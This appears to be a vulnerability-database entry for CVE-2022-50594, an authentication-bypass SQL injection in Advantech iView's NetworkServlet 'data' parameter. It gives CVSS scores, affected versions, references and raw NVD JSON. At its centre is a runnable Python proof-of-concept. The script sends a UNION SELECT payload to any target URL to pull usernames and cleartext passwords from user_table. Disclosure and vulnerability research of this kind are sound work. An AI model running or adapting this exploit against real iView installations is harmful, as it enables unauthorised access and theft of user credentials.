Security Vulnerability Report
中文
CVE-2022-50594 CVSS 7.5 HIGH

CVE-2022-50594

Published: 2025-11-06 20:15:38
Last Modified: 2025-11-24 18:19:00

Description

Advantech iView versions prior to v5.7.04 build 6425 contain a vulnerability within the SNMP management tool that allows for remote attackers to bypass authentication checks and reach a SQL injection vulnerability within the ‘data’ parameter to the ‘NetworkServlet’ endpoint. Successful exploitation allows for the exfiltration of user data, included clear text passwords.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:advantech:iview:*:*:*:*:*:*:*:* - VULNERABLE
Advantech iView < v5.7.04 build 6425

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2022-50594 PoC - Advantech iView SQL Injection # Target: Advantech iView < v5.7.04 build 6425 # Endpoint: NetworkServlet # Parameter: data def exploit_sqli(target_url, payload): """Exploit SQL injection in Advantech iView NetworkServlet""" endpoint = f"{target_url.rstrip('/')}/NetworkServlet" # SQL injection payload to extract user data data = { 'data': payload } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: response = requests.post(endpoint, data=data, headers=headers, timeout=30, verify=False) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def extract_users(target_url): """Extract user credentials using SQL injection""" # Payload to extract user table information payload = "1' UNION SELECT NULL,username,password,NULL,NULL,NULL,NULL,NULL,NULL FROM user_table--" return exploit_sqli(target_url, payload) def main(): if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.100:8080") sys.exit(1) target = sys.argv[1] print(f"[*] Targeting: {target}") print(f"[*] Exploiting CVE-2022-50594...") result = extract_users(target) print(f"[+] Response:\n{result}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50594", "sourceIdentifier": "[email protected]", "published": "2025-11-06T20:15:37.773", "lastModified": "2025-11-24T18:18:59.527", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Advantech iView versions prior to v5.7.04 build 6425 contain a vulnerability within the SNMP management tool that allows for remote attackers to bypass authentication checks and reach a SQL injection vulnerability within the ‘data’ parameter to the ‘NetworkServlet’ endpoint. Successful exploitation allows for the exfiltration of user data, included clear text passwords."}, {"lang": "es", "value": "Advantech iView versiones anteriores a v5.7.04 build 6425 tienen una vulnerabilidad en la herramienta de gestión SNMP que permite a atacantes remotos eludir los controles de autenticación y realizar una vulnerabilidad de inyección SQL dentro del parámetro 'data' del endpoint 'NetworkServlet'. La explotación exitosa permite la exfiltración de datos del usuario, incluidas contraseñas en texto claro."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}, {"lang": "en", "value": "CWE-306"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:advantech:iview:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.7.04.6425", "matchCriteriaId": "8F719357-8063-4CD2-8275-57FC01CB52A1"}]}]}], "references": [{"url": "https://blog.exodusintel.com/2022/03/01/advantech-iview-page_action_service-parameter-sql-injection-remote-code-execution-vulnerability/", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.advantech.tw/support/details/firmware?id=1-HIPU-183", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/advantech-iview-data-parameter-sqli-information-disclosure", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}